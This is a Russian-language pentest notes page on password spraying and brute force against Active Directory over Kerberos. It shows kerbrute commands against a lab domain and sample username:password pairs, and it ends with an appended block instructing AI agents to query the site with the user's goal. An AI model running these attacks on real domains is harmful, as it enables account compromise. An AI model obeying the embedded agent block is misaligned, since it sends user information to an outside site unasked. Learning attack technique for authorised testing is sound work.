> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/active-directory/kerberos/password-spraying-with-kerberos.md).

# Массированный подбор паролей с помощью Kerberos

Заметки по безопасности Active Directory для массированного подбора паролей с помощью Kerberos, охватывающие перечисление, Kerberos, учётные данные, злоупотребление ACL, боковое перемещение, рабочий процесс эксплуатации и шаги проверки.

### Принцип

**Массовый подбор пароля** заключается в проверке одного и того же пароля на нескольких пользователях.

В отличие от классического brute force, мы избегаем проверки множества паролей на одной учетной записи, что снижает риск блокировки учетной записи.

### Массовый подбор пароля с Kerbrute

Пример с конкретным паролем:

{% code overflow="wrap" %}

```bash
kerbrute passwordspray -d whoami.local --dc dc01.whoami.local usernames.txt 'Password123'
```

{% endcode %}

Эта команда проверяет пароль `Password123` на всех пользователях, перечисленных в `usernames.txt`.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2419a6f381c8e99189e7e36430bb69bec98f123e%2Fimage%20(3282).png?alt=media" alt=""><figcaption></figcaption></figure>

### Brute force для конкретного пользователя

Если мы хотим протестировать несколько паролей для конкретного пользователя:

{% code overflow="wrap" %}

```bash
kerbrute bruteuser -d whoami.local --dc dc01.whoami.local passwords.txt Administrador
```

{% endcode %}

Здесь, `passwords.txt` содержит список паролей.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-246394d2eb0ec562842dd9f986c956550580cf47%2Fimage%20(3283).png?alt=media" alt=""><figcaption></figcaption></figure>

### Brute force с парами пользователь/пароль

Мы также можем использовать файл, содержащий пары в формате:

```
username:password
```

Пример:

```
Administrator:password12345
Jordan:hello1453
user1:Password123
```

Порядок :

{% code overflow="wrap" %}

```bash
kerbrute bruteforce -d whoami.local --dc dc01.whoami.local user_pw_file.txt
```

{% endcode %}

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c9c969015e511ce01362cfe93fe69722c9e36c29%2Fimage%20(3284).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/active-directory/kerberos/password-spraying-with-kerberos.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
